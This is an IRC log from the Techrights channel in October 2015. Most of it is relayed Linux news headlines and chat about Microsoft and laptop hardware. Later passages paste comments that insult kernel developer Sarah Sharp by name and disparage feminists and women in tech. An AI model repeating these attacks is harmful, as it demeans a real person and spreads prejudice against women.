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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Univention Corporate Server 4.1 to Implement Docker Apps, Linux Kernel 4.1 LTS | Tux Machines | Oct 07 10:31 | |
| TweetTuxMachines | @tuxmachines Proxmox VE 4.0 Has Linux Containers Support, | Oct 07 10:31 |
| TweetTuxMachines | Based on Debian 8.2 Jessie - Video | Oct 07 10:31 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Proxmox VE 4.0 Has Linux Containers Support, Based on Debian 8.2 Jessie - Video | Tux Machines | Oct 07 10:31 | |
| TweetTuxMachines | @tuxmachines Lessons From Volkswagen http://t.co/NBmYvNO5zh | Oct 07 10:32 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Lessons From Volkswagen | Tux Machines | Oct 07 10:32 | |
| TweetTuxMachines | @tuxmachines Mozilla Boosts Leadership Team With Connected | Oct 07 10:32 |
| TweetTuxMachines | Devices Appointment http://t.co/vsu4MDyCVn | Oct 07 10:32 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Mozilla Boosts Leadership Team With Connected Devices Appointment | Tux Machines | Oct 07 10:32 | |
| TweetTuxMachines | @tuxmachines NethServer 6.7 Server-Oriented Linux Distro Is | Oct 07 10:33 |
| TweetTuxMachines | Coming Soon, Based on CentOS 6.7 | Oct 07 10:33 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | NethServer 6.7 Server-Oriented Linux Distro Is Coming Soon, Based on CentOS 6.7 | Tux Machines | Oct 07 10:33 | |
| TweetTuxMachines | @tuxmachines Continuum for Windows 10 Is Phone Convergence, | Oct 07 10:33 |
| TweetTuxMachines | but Not as Advanced as Ubuntu's | Oct 07 10:33 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Continuum for Windows 10 Is Phone Convergence, but Not as Advanced as Ubuntu's | Tux Machines | Oct 07 10:33 | |
| TweetTuxMachines | @tuxmachines Xen now available in CentOS 7 for ARM64 servers | Oct 07 10:39 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Xen now available in CentOS 7 for ARM64 servers | Tux Machines | Oct 07 10:39 | |
| TweetTuxMachines | @tuxmachines Roku’s 4th gen media player does 4K, gets | Oct 07 10:39 |
| TweetTuxMachines | larger, costs more http://t.co/nXBmm3z3lG | Oct 07 10:39 |
| TweetTuxMachines | (linuxgizmos.com) | Oct 07 10:39 |
| -TechrightsBot-tr/#techrights-linuxgizmos.com | Roku's 4th gen media player does 4K, gets larger, costs more · LinuxGizmos.com | Oct 07 10:39 | |
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| TweetTuxMachines | @tuxmachines Ubuntu-Based Black Lab Linux 7 Operating System | Oct 07 10:39 |
| TweetTuxMachines | Gets an RC Build with Firefox 41 | Oct 07 10:39 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu-Based Black Lab Linux 7 Operating System Gets an RC Build with Firefox 41 - Softpedia | Oct 07 10:39 | |
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| TweetTuxMachines | @tuxmachines Ubuntu-Based Escuelas Linux 4.1 Drops | Oct 07 10:46 |
| TweetTuxMachines | Enlightenment for the Moksha Desktop | Oct 07 10:46 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu-Based Escuelas Linux 4.1 Drops Enlightenment for the Moksha Desktop - Softpedia | Oct 07 10:46 | |
| TweetTuxMachines | @tuxmachines Ubuntu Snappy Core 15.04 Now Features Basic | Oct 07 10:46 |
| TweetTuxMachines | Support for UEFI Firmware Updates | Oct 07 10:46 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Snappy Core 15.04 Now Features Basic Support for UEFI Firmware Updates - Softpedia | Oct 07 10:46 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Gets Ready for Release, Many | Oct 07 10:46 |
| TweetTuxMachines | Memory Leaks Were Plugged | Oct 07 10:46 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu Touch OTA-7 Gets Ready for Release, Many Memory Leaks Were Plugged - Softpedia | Oct 07 10:46 | |
| TweetTuxMachines | @tuxmachines NethServer 6.7 Server-Oriented Linux Distro Is | Oct 07 10:52 |
| TweetTuxMachines | Coming Soon, Based on CentOS 6.7 | Oct 07 10:52 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | NethServer 6.7 Server-Oriented Linux Distro Is Coming Soon, Based on CentOS 6.7 - Softpedia | Oct 07 10:52 | |
| TweetTuxMachines | @tuxmachines Continuum for Windows 10 Is Phone Convergence, | Oct 07 10:52 |
| TweetTuxMachines | but Not as Advanced as Ubuntu's | Oct 07 10:52 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Continuum for Windows 10 Is Phone Convergence, but Not as Advanced as Ubuntu's - Softpedia | Oct 07 10:52 | |
| TweetTuxMachines | @tuxmachines Xen now available in CentOS 7 for ARM64 servers | Oct 07 10:52 |
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| -TechrightsBot-tr/#techrights-blog.xenproject.org | Xen now available in CentOS 7 for ARM64 servers | Xen Project Blog | Oct 07 10:52 | |
| TweetTuxMachines | @tuxmachines Android-x86 Now Based on Android 5.1.1 | Oct 07 10:53 |
| TweetTuxMachines | Lollipop, Supports UEFI PCs and 64-Bit Kernels | Oct 07 10:53 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Android-x86 Now Based on Android 5.1.1 Lollipop, Supports UEFI PCs and 64-Bit Kernels - Softpedia | Oct 07 10:53 | |
| TweetTuxMachines | @tuxmachines Univention Corporate Server 4.1 to Implement | Oct 07 10:56 |
| TweetTuxMachines | Docker Apps, Linux Kernel 4.1 LTS | Oct 07 10:56 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Univention Corporate Server 4.1 to Implement Docker Apps, Linux Kernel 4.1 LTS - Softpedia | Oct 07 10:56 | |
| TweetTuxMachines | @tuxmachines Proxmox VE 4.0 Has Linux Containers Support, | Oct 07 10:56 |
| TweetTuxMachines | Based on Debian 8.2 Jessie - Video | Oct 07 10:56 |
| TweetTuxMachines | http://t.co/rHMA5Ood0X (news.softpedia.com) | Oct 07 10:56 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Proxmox VE 4.0 Has Linux Containers Support, Based on Debian 8.2 Jessie - Video - Softpedia | Oct 07 10:56 | |
| schestowitz | https://joindiaspora.com/posts/6654471 | Oct 07 11:16 |
| -TechrightsBot-tr/#techrights-@linux@joindiaspora.com: OpenShot 2.0 Video Editor to Be Released Soon for Linux, Mac OS X, and Windows 10 http://news.softpedia.com/news/openshot-2-0-video-editor-to-be-released-soon-for-linux-mac-os-x-and-windows-10-493259.shtml | Oct 07 11:16 | |
| -TechrightsBot-tr/#techrights--> news.softpedia.com | OpenShot 2.0 Video Editor to Be Released Soon for Linux, Mac OS X, and Windows 10 - Softpedia [ http://ur1.ca/nw8sk ] | Oct 07 11:16 | |
| schestowitz | https://joindiaspora.com/posts/6654471 | Oct 07 11:17 |
| schestowitz | "lumiera looked like a promising beginning, but I don’t recall the ever doing even an alpha release." | Oct 07 11:17 |
| schestowitz | > lots of M$ hardware spam at most sites; no links here | Oct 07 11:37 |
| schestowitz | Yes, I don't expect to be writing about it. Would only help them... | Oct 07 11:37 |
| schestowitz | https://twitter.com/reggaecrisp1/status/651707224394452992 | Oct 07 11:44 |
| -TechrightsBot-tr/#techrights-@reggaecrisp1: A scandalous document, created by crooks, approved by crooks and policed by crooks. What could possibly go wrong. https://t.co/ydZleVij9d | Oct 07 11:44 | |
| -TechrightsBot-tr/#techrights-@schestowitz: #TPP Negotiations Conclude: What Next for the Trade Deal Without a Public Text? http://t.co/vJ3AG3D0wh collusion against the public | Oct 07 11:44 | |
| schestowitz | > dead link: | Oct 07 11:46 |
| schestowitz | > | Oct 07 11:46 |
| schestowitz | > http://www.computerworld.com/softwaretopics/os/story/0,10801,83708,00.html | Oct 07 11:47 |
| -TechrightsBot-tr/#techrights- ( status 404 @ http://www.computerworld.com/softwaretopics/os/story/0,10801,83708,00.html ) | Oct 07 11:47 | |
| schestowitz | What was it about? Was it spiked? | Oct 07 11:47 |
| schestowitz | In the news... | Oct 07 12:13 |
| schestowitz | This may be of interest to the company | Oct 07 12:13 |
| schestowitz | FU: http://www.computing.co.uk/ctg/interview/2426120/the-power-of-open-source-from-postgres-to-cassandra-at-first-utility | Oct 07 12:13 |
| schestowitz | Competitor: http://www.cbronline.com/news/enterprise-it/software/an-essential-guide-to-using-open-source-monitoring-tools-4672669 | Oct 07 12:13 |
| -TechrightsBot-tr/#techrights-www.computing.co.uk | The power of open source: From Postgres to Cassandra at First Utility - 16 Sep 2015 - Computing Interview [ http://ur1.ca/nxvlq ] | Oct 07 12:13 | |
| -TechrightsBot-tr/#techrights-www.cbronline.com | An essential guide to using Open Source monitoring tools - Computer Business Review [ http://ur1.ca/nxvlr ] | Oct 07 12:13 | |
| schestowitz | > http://mrpogson.com/2015/10/05/sarah-sharp-im-not-a-linux-kernel-developer-any-more/ | Oct 07 12:18 |
| -TechrightsBot-tr/#techrights-mrpogson.com | Sarah Sharp: “I’m not a Linux kernel developer any more” | Robert Pogson [ http://ur1.ca/nxvmw ] | Oct 07 12:18 | |
| schestowitz | > | Oct 07 12:18 |
| schestowitz | > he's just feeding the troll | Oct 07 12:18 |
| schestowitz | Not just him.... | Oct 07 12:18 |
| schestowitz | https://twitter.com/Twpalovi/status/651716113538093056 | Oct 07 12:22 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz Where is that? | Oct 07 12:22 | |
| msb_ | Marvel's Agents of S.H.I.E.L.D. S03E02 is wonderful! | Oct 07 12:22 |
| schestowitz | One example: http://www.cbsnews.com/news/google-to-unmask-skank-blogger/ | Oct 07 12:23 |
| -TechrightsBot-tr/#techrights-www.cbsnews.com | Google to Unmask "Skank" Blogger - CBS News [ http://ur1.ca/nxvnt ] | Oct 07 12:23 | |
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| *TweetTuxMachines @techmuser favourited 'Proxmox VE 4.0 Has Linux Containers Support, Based...' | Oct 07 13:00 | |
| TweetTuxMachines | @tuxmachines Leftovers: KDE http://t.co/1I64sjKREa | Oct 07 13:00 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: KDE | Tux Machines | Oct 07 13:00 | |
| TweetTuxMachines | @tuxmachines systemd is your friend http://t.co/DvJcpiaeUx | Oct 07 13:09 |
| TweetTuxMachines | (www.linux.it) | Oct 07 13:09 |
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| -TechrightsBot-tr/#techrights-www.linux.it | Emanuele Rocca: systemd is your friend | Oct 07 13:09 | |
| TweetTuxMachines | @tuxmachines How to move the needle in open source | Oct 07 13:09 |
| TweetTuxMachines | http://t.co/G8QpW01O4A (www.tuxmachines.org) | Oct 07 13:09 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | How to move the needle in open source | Tux Machines | Oct 07 13:09 | |
| TweetTuxMachines | @tuxmachines Azul Zing goes live on Red Hat Enterprise Linux | Oct 07 13:10 |
| TweetTuxMachines | on Amazon Web Services http://t.co/71YnWu7Qfh | Oct 07 13:10 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Azul Zing goes live on Red Hat Enterprise Linux on Amazon Web Services | Tux Machines | Oct 07 13:10 | |
| schestowitz | https://www.joindiaspora.com/posts/6674034 | Oct 07 13:13 |
| -TechrightsBot-tr/#techrights-Not a Diaspora post? | Oct 07 13:14 | |
| schestowitz | https://www.joindiaspora.com/posts/6674050 | Oct 07 13:14 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #networkmanager is getting a lot better https://blogs.gnome.org/lkundrak/2015/08/27/networkmanager-1-0-6-brings-metered-connections-api-and-more/ ttps://blogs.gnome.org/lkundrak/2015/09/24/fortigate-ssl-vpn-support-added-to-networkmanager/ #freesw | Oct 07 13:14 | |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://blogs.gnome.org/lkundrak/2015/08/27/networkmanager-1-0-6-brings-metered-connections-api-and-more/ ) | Oct 07 13:14 | |
| schestowitz | https://www.joindiaspora.com/posts/6674034 | Oct 07 13:14 |
| TweetTuxMachines | @tuxmachines LibreOffice 4.4.6 to Be Last in the Series, New | Oct 07 13:15 |
| TweetTuxMachines | RC Is Out http://t.co/vQgP2SVT4J | Oct 07 13:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LibreOffice 4.4.6 to Be Last in the Series, New RC Is Out | Tux Machines | Oct 07 13:15 | |
| TweetTuxMachines | @tuxmachines systemd is your friend http://t.co/tzQyXKthNR | Oct 07 13:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | systemd is your friend | Tux Machines | Oct 07 13:15 | |
| TweetTuxMachines | @tuxmachines What Are Linux Meta-packages? | Oct 07 13:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | What Are Linux Meta-packages? | Tux Machines | Oct 07 13:15 | |
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| MinceR | http://securityreactions.tumblr.com/post/130691304438/government-surveillance-programs#_=_ | Oct 07 18:47 |
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| TweetTuxMachines | @tuxmachines Red Hat News http://t.co/z5z2kbKLKX | Oct 07 19:46 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat News | Tux Machines | Oct 07 19:47 | |
| TweetTuxMachines | @tuxmachines KDE Signs the User Data Manifesto 2.0 | Oct 07 19:47 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | KDE Signs the User Data Manifesto 2.0 | Tux Machines | Oct 07 19:47 | |
| TweetTuxMachines | @tuxmachines Valve Makes SteamOS 2.0 the Official Distro, | Oct 07 19:47 |
| TweetTuxMachines | Now Based on Debian 8.2 http://t.co/TfOB3dTxEM | Oct 07 19:47 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Valve Makes SteamOS 2.0 the Official Distro, Now Based on Debian 8.2 | Tux Machines | Oct 07 19:47 | |
| schestowitz | https://twitter.com/bosson/status/651838431920803840 | Oct 07 20:27 |
| -TechrightsBot-tr/#techrights-@bosson: @schestowitz yep... Useful to small visualization projects... | Oct 07 20:27 | |
| schestowitz | I thought it had been deprecated for nearly a decade | Oct 07 20:27 |
| schestowitz | https://twitter.com/bosson/status/651842549364195329 | Oct 07 20:34 |
| -TechrightsBot-tr/#techrights-@bosson: @schestowitz The alternative is to use sdl2, and its not trivial to get working on osx. Glut is trivial anywhere as much as its limited. | Oct 07 20:34 | |
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| schestowitz | https://twitter.com/Messgorough/status/651844026807750656 | Oct 07 20:39 |
| -TechrightsBot-tr/#techrights-@Messgorough: @KhanUR1983 @schestowitz Looks like the time I drew a face on my left scrotum. | Oct 07 20:39 | |
| TweetTuxMachines | @tuxmachines Would the Internet Exist without Linux? Yes. | Oct 07 20:55 |
| TweetTuxMachines | Without Open Source? No http://t.co/JusSyQzlIV | Oct 07 20:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Would the Internet Exist without Linux? Yes. Without Open Source? No | Tux Machines | Oct 07 20:55 | |
| TweetTuxMachines | @tuxmachines Open Network Linux Simplifies Open Compute | Oct 07 20:55 |
| TweetTuxMachines | Project Switch Configuration | Oct 07 20:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Open Network Linux Simplifies Open Compute Project Switch Configuration | Tux Machines | Oct 07 20:55 | |
| TweetTuxMachines | @tuxmachines LinuxCon 2015 Report: Dirk Hohndel Chats with | Oct 07 20:55 |
| TweetTuxMachines | Linus Torvalds http://t.co/Znu43TepNe | Oct 07 20:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LinuxCon 2015 Report: Dirk Hohndel Chats with Linus Torvalds | Tux Machines | Oct 07 20:55 | |
| TweetTuxMachines | @tuxmachines Android 6.0, Marshmallow: The complete FAQ | Oct 07 21:03 |
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| -TechrightsBot-tr/#techrights-www.computerworld.com | Android 6.0, Marshmallow: The complete FAQ | Computerworld | Oct 07 21:03 | |
| TweetTuxMachines | @tuxmachines KDE Signs the User Data Manifesto 2.0 | Oct 07 21:03 |
| TweetTuxMachines | https://t.co/YXWhbCWYo0 (dot.kde.org) | Oct 07 21:03 |
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| -TechrightsBot-tr/#techrights-dot.kde.org | KDE Signs the User Data Manifesto 2.0 | KDE.news | Oct 07 21:03 | |
| TweetTuxMachines | @tuxmachines Valve Makes SteamOS 2.0 the Official Distro, | Oct 07 21:03 |
| TweetTuxMachines | Now Based on Debian 8.2 http://t.co/tW3OkfLJtG | Oct 07 21:03 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Valve Makes SteamOS 2.0 the Official Distro, Now Based on Debian 8.2 - Softpedia | Oct 07 21:03 | |
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| TweetTuxMachines | @tuxmachines Open Network Linux Simplifies Open Compute | Oct 07 21:03 |
| TweetTuxMachines | Project Switch Configuration | Oct 07 21:03 |
| TweetTuxMachines | http://t.co/CVN9I7rWts (techcrunch.com) | Oct 07 21:03 |
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| -TechrightsBot-tr/#techrights-techcrunch.com | Open Network Linux Simplifies Open Compute Project Switch Configuration | TechCrunch | Oct 07 21:03 | |
| TweetTuxMachines | @tuxmachines LinuxCon 2015 Report: Dirk Hohndel Chats with | Oct 07 21:04 |
| TweetTuxMachines | Linus Torvalds http://t.co/75P8XiQsb3 | Oct 07 21:04 |
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| -TechrightsBot-tr/#techrights-www.linux.com | LinuxCon 2015 Report: Dirk Hohndel Chats with Linus Torvalds | Linux.com | Oct 07 21:04 | |
| TweetTuxMachines | @tuxmachines Intel Just Queued Up More Graphics Changes For | Oct 07 21:04 |
| TweetTuxMachines | The Linux 4.4 Kernel http://t.co/EcGJIM3hJM | Oct 07 21:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Intel Just Queued Up More Graphics Changes For The Linux 4.4 Kernel | Tux Machines | Oct 07 21:04 | |
| cubexyz | well, one of my predictions has come true: | Oct 07 21:09 |
| cubexyz | Microsoft has made their own microsoft laptop | Oct 07 21:10 |
| cubexyz | unless people education themselves, and study what is actually happening to computers they will be herded into the Microsoft camp | Oct 07 21:11 |
| cubexyz | I'm not talking about the older people who know better and know what computers were like before Microsoft ever existed (and would never switch to M$) | Oct 07 21:13 |
| cubexyz | I'm mostly talking about the younger people and more casual computer users | Oct 07 21:13 |
| TweetTuxMachines | @tuxmachines Linux Mint Devs Want to Know How Many Gamers | Oct 07 21:17 |
| TweetTuxMachines | Are Using the OS http://t.co/3Gv7bs0p6o | Oct 07 21:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Mint Devs Want to Know How Many Gamers Are Using the OS | Tux Machines | Oct 07 21:17 | |
| TweetTuxMachines | @tuxmachines More OpenSUSE Leap Linux Kernel Benchmarks | Oct 07 21:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | More OpenSUSE Leap Linux Kernel Benchmarks | Tux Machines | Oct 07 21:17 | |
| TweetTuxMachines | @tuxmachines More OpenSUSE Leap Linux Kernel Benchmarks | Oct 07 21:17 |
| TweetTuxMachines | http://t.co/lYx1dRgCpc (www.phoronix.com) | Oct 07 21:17 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | More OpenSUSE Leap Linux Kernel Benchmarks - Phoronix | Oct 07 21:17 | |
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| cubexyz | http://www.extremetech.com/extreme/201722-linuxs-worst-case-scenario-microsoft-makes-secure-boot-mandatory-locks-out-other-operating-systems | Oct 07 21:30 |
| -TechrightsBot-tr/#techrights-www.extremetech.com | Linux’s worst-case scenario: Windows 10 makes Secure Boot mandatory, locks out other operating systems | ExtremeTech [ http://ur1.ca/jy8ul ] | Oct 07 21:30 | |
| TweetTuxMachines | @tuxmachines Intel Just Queued Up More Graphics Changes For | Oct 07 21:31 |
| TweetTuxMachines | The Linux 4.4 Kernel http://t.co/asARGRzFf9 | Oct 07 21:31 |
| TweetTuxMachines | (www.phoronix.com) | Oct 07 21:31 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Intel Just Queued Up More Graphics Changes For The Linux 4.4 Kernel - Phoronix | Oct 07 21:31 | |
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| TweetTuxMachines | @tuxmachines Omnibond Releases CloudyCluster on Red Hat | Oct 07 21:31 |
| TweetTuxMachines | Enterprise Linux in the AWS Marketplace | Oct 07 21:31 |
| TweetTuxMachines | http://t.co/D0wGR63FMJ (www.hpcwire.com) | Oct 07 21:31 |
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| -TechrightsBot-tr/#techrights-www.hpcwire.com | Omnibond Releases CloudyCluster on Red Hat Enterprise Linux in the AWS Marketplace | Oct 07 21:31 | |
| TweetTuxMachines | @tuxmachines Linux Mint Devs Want to Know How Many Gamers | Oct 07 21:32 |
| TweetTuxMachines | Are Using the OS http://t.co/rRdsj0Jb9j | Oct 07 21:32 |
| TweetTuxMachines | (news.softpedia.com) | Oct 07 21:32 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Linux Mint Devs Want to Know How Many Gamers Are Using the OS - Softpedia | Oct 07 21:32 | |
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| schestowitz | https://twitter.com/Twpalovi/status/651867189851627520 | Oct 07 22:15 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz That is the interesting question. | Oct 07 22:15 | |
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| msb_ | cubexyz: It's up to people like us to tell the truth about Microshit and Linux (and to encourage clean Linux without systemd) to inform people so they don't get herded. | Oct 07 22:22 |
| msb_ | schestowitz is doing a very good job at this. But we must do more than we have been. Come up with good hardware/firmware/software solutions and push them -- give the facts behind our choices, not just to individuals but to corporations, | Oct 07 22:25 |
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| msb_ | cubexyz: We need to come up with solutions for people who already have computers, and for those looking to buy new ones. We need to find solutions that don't limit people on computer power, because games, video editing -- see youtube -- and high-compression x265 videos are very popular. | Oct 07 22:28 |
| msb_ | We can't just herd people into chromebooks because they only meet some of the criteria, which include security _and_ state-of-the-cheap-art speed. | Oct 07 22:31 |
| msb_ | People will get very pissed at us if they buy machines according to our recommendations and then find that they can't do things that their friends with crappy windows computers _can_ do, because their friends have 8-core CPUs. | Oct 07 22:33 |
| schestowitz | https://twitter.com/longtheriverrun/status/651875563091660800 | Oct 07 22:44 |
| -TechrightsBot-tr/#techrights-@longtheriverrun: @schestowitz "Kunduz has a largely mixed population, including Tajiks, Pashtuns, Uzbeks, Khowar, Arabs and a few others." wikipedia | Oct 07 22:44 | |
| schestowitz | " | Oct 07 22:53 |
| schestowitz | Not *fucking* cool. Violence, whether it be physical intimidation, verbal threats or verbal abuse is not acceptable. Keep it professional on the mailing lists. | Oct 07 22:53 |
| schestowitz | What the heck? The only thing she could be referring to this thread so far has been Linus talking about Greg being a giant who might "squish you without even noticing". Nobody could seriously interpret that as advocating for violence unless you were so unbelievably literal you'd be unable to handle ordinary conversations. | Oct 07 22:53 |
| schestowitz | And then there's the conflation of "verbal abuse" with "violence". These are two words that mean very different things. And finally the assertion that by trying to make jokes (perhaps not very well), Linus and Ingo were being unprofessional. Not surprisingly, Linus had a problem with this claim. | Oct 07 22:53 |
| schestowitz | Now I don't know, probably this could have been avoided if the discussion with Greg had been private. But it seems Sharp would have let rip at some other point if someone else made an off-colour joke. I can believe LKML is a tough environment, but this isn't the best evidence possible. Perhaps there have been other incidents, but as Sharp doesn't list any, it's hard to say.” | Oct 07 22:53 |
| schestowitz | " | Oct 07 22:53 |
| schestowitz | " | Oct 07 22:54 |
| schestowitz | So she's a social justice warrior troll doing this for attention? Called it earlier. Expect her to have a Patreon account up within a few days, as well as a campaign started explaining why Linus is problematic and needs to be removed from Linux development soon, or how Linux needs a safe space special interest group so feminist coders can submit their commits without being threatened by people pointing out their code sucks. Because remember | Oct 07 22:54 |
| schestowitz | kids, criticism is "Cyber Violence. [popehat.com]"” | Oct 07 22:54 |
| schestowitz | As an aside, she's a blockbot user, so yes, she most definitely is a SJW or a SJW ally: https://twitter.com/sarahsharp | Oct 07 22:54 |
| schestowitz | (If you're blocked and have never even spoken with her, congratulations, you're a member of Randy Harper's blacklist, [leagueforgamers.com] an list of white men, gamers, nerds, conservatives, KFC, President Obama, and other people Randy Harper and her radical feminist friends consider too "problematic" to be allowed to communicate with people in the tech industry.) | Oct 07 22:54 |
| -TechrightsBot-tr/#techrights-twitter.com | Sarah Sharp (@sarahsharp) | Twitter | Oct 07 22:54 | |
| schestowitz | In short: She might be a gifted programmer, but she's a weak willed human being, and her having a professional freakout about Linus making a joke about being intimidating isn't surprising -- it's a calculated maneuver. Expect something else to come up soon -- as mentioned, Linus will be deemed too problematic to be allowed to remain in Linux, or the Professional Victims will demand special treatment for Women in Linux Development. | Oct 07 22:54 |
| schestowitz | " | Oct 07 22:54 |
| schestowitz | " | Oct 07 22:55 |
| schestowitz | Curunir: ”What struck me about what she was trying to do, and I've seen others try to do the same thing, is to equate some comment or comments on a mailing list, or other post, as "violence". When I grew up we learned that "Sticks and stones will break my bones but words will never hurt me." That is, they're just words, they are not fists or knives or guns. It's not "violence" to berate someone or use colorful language or anything else. | Oct 07 22:55 |
| schestowitz | It may "offend" you, but taking offense at something someone says is entirely subjective, and impossible to enforce, because you end up with "speech codes", banning words, and other asinine restrictions until everything is a euphemism or metaphor until no one knows what anyone is talking about any more. | Oct 07 22:55 |
| schestowitz | Bullying used to mean you're getting physically intimidated, punched, kicked, assaulted or robbed regularly. Now it seems it's enough that someone said something that hurt your feelings. And people can get their feelings hurt by things that are totally NOT intended that way by the speaker, just because of the listener's history or viewpoint. | Oct 07 22:55 |
| schestowitz | Equating speech to physical violence is a very dangerous trend that will not end well.” | Oct 07 22:55 |
| schestowitz | " | Oct 07 22:55 |
| schestowitz | " | Oct 07 22:55 |
| schestowitz | EpyT: ”Feminism presents it as a battle between male space or a female space. It's a false dichotomy. The hypocrisy is that feminists expect men to take the 'chivalrous' route and modify their interaction styles for women, yet asking women to reciprocate with some toughness and objectivity is 'oppressive' or 'misogynistic.' The net result is that men are driven out of areas where women have gotten their PC 'safe spaces' for their | Oct 07 22:55 |
| schestowitz | interaction and thinking styles because men do not do well there. Just ask a male nurse. Fighting discrimination with discrimination is not a solution. | Oct 07 22:55 |
| schestowitz | I'm a fan of what works for a given environment and given group of people. The individuals making up the bulk of the effort are the ones who decide the culture simply because they are the most productive. Anything else would drive these productive individuals out and weaken the result. Linus and his lieutenants are far more productive than sarah sharp is, and she is not happy with the interaction style they set, so she goes. No big loss. She | Oct 07 22:55 |
| schestowitz | s welcome to either adapt to that or work on a different project. If her viewpoint is truly superior and her politics in line with reality, it should be a no brainer to fork the kernel and demonstrate this. The best contributors would flock to her and, in time, her branch would be the technically superior one. She should be showing us 'misogynists' how it's done instead of whining and stirring up shitstorms.” | Oct 07 22:55 |
| schestowitz | " | Oct 07 22:55 |
| schestowitz | " Oxdeadbeef: ”This isn't empowering women. This is arguing that they are weaker than men far more profoundly than any MRA red piller gamer gater misogynist could ever hope to accomplish.” " | Oct 07 22:55 |
| TweetTuxMachines | @tuxmachines Real-time Linux gets a leg up into more complex | Oct 07 23:15 |
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| msb_ | schestowitz: Is there some place where Sarah Sharp criticizes Linus personally? Would you please give a link? | Oct 07 23:33 |
| cubexyz | I'm not saying to herd people onto chromebooks | Oct 07 23:35 |
| cubexyz | but that seems one of the better choices at the moment | Oct 07 23:35 |
| msb_ | I know. Sorry if that was implied. | Oct 07 23:35 |
| cubexyz | people should have computers with FOSS BIOS, FOSS operating system, and fully repairable | Oct 07 23:36 |
| msb_ | It's not a good choice if people want to play games, edit videos, or watch x265s, which many do. | Oct 07 23:36 |
| cubexyz | I'm at a loss to suggest anything at the laptop level | Oct 07 23:36 |
| cubexyz | I'm not totally happy with chromebooks either | Oct 07 23:37 |
| msb_ | Yes, they _should_ have that, but we need to come up with solutions that have both a good degree of security and state-of-the-cheap-art speed. | Oct 07 23:38 |
| cubexyz | not modular enough, not fully repairable, uses soldered in memory modules (sometimes) | Oct 07 23:38 |
| msb_ | We can't let the perfect be the enemy of the good. | Oct 07 23:38 |
| msb_ | So we need adequate security, good speed, and suitability for people who already have computers and those looking to buy new ones. | Oct 07 23:40 |
| cubexyz | well they may have what I'd call a bic-lighter computer | Oct 07 23:42 |
| cubexyz | in that case, it's too late | Oct 07 23:42 |
| msb_ | But they can still switch to Linux. | Oct 07 23:43 |
| cubexyz | if you have a crappy motherboard, or a crappy LCD with bad caps, it probably needs to be replaced | Oct 07 23:43 |
| cubexyz | of course, it could be repaired with a lot of effort | Oct 07 23:43 |
| msb_ | That's the ideal, but if the thing still works, a $0 partial solution is better than a $2000 solution (except for rich people). | Oct 07 23:44 |
| cubexyz | I actually have a bunch of laptops to fix | Oct 07 23:45 |
| cubexyz | bad GPU, bad keyboards, bad power supplies | Oct 07 23:45 |
| msb_ | laptop/desktop is the other dimension we have to provide for | Oct 07 23:45 |
| cubexyz | but even after I fix them I doubt anyone will really want them | Oct 07 23:45 |
| msb_ | Load them with Linux and give them to kids. | Oct 07 23:46 |
| msb_ | or schools | Oct 07 23:46 |
| msb_ | brb | Oct 07 23:48 |
| cubexyz | I still have a lot of monitors with VGA connectors so that's a concern too | Oct 07 23:56 |
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| schestowitz | https://www.reddit.com/r/mistyfront/comments/3nfzg0/the_microsoft_loves_linux_baloney_is_still_being/ | Oct 08 00:11 |
| schestowitz | [23:33] <msb_> schestowitz: Is there some place where Sarah Sharp criticizes Linus personally? Would you please give a link? | Oct 08 00:11 |
| schestowitz | yes, very much so | Oct 08 00:11 |
| -TechrightsBot-tr/#techrights-www.reddit.com | The ‘Microsoft Loves Linux’ Baloney is Still Being Floated in the Media While Microsoft Attacks Linux With Patents, New Lawsuits Reported (/r/linux) : mistyfront [ http://ur1.ca/nyco6 ] | Oct 08 00:11 | |
| schestowitz | "the fish rots from the head" | Oct 08 00:11 |
| schestowitz | that sort of thing | Oct 08 00:11 |
| schestowitz | so they did some changes, press campsign | Oct 08 00:12 |
| schestowitz | and despite that she throws a fit | Oct 08 00:12 |
| schestowitz | this is NOT going to help feminism | Oct 08 00:12 |
| schestowitz | if anything, companies might hesitate to recruit women | Oct 08 00:12 |
| schestowitz | seeing how much damage this can lead to if they feel discriminated against | Oct 08 00:12 |
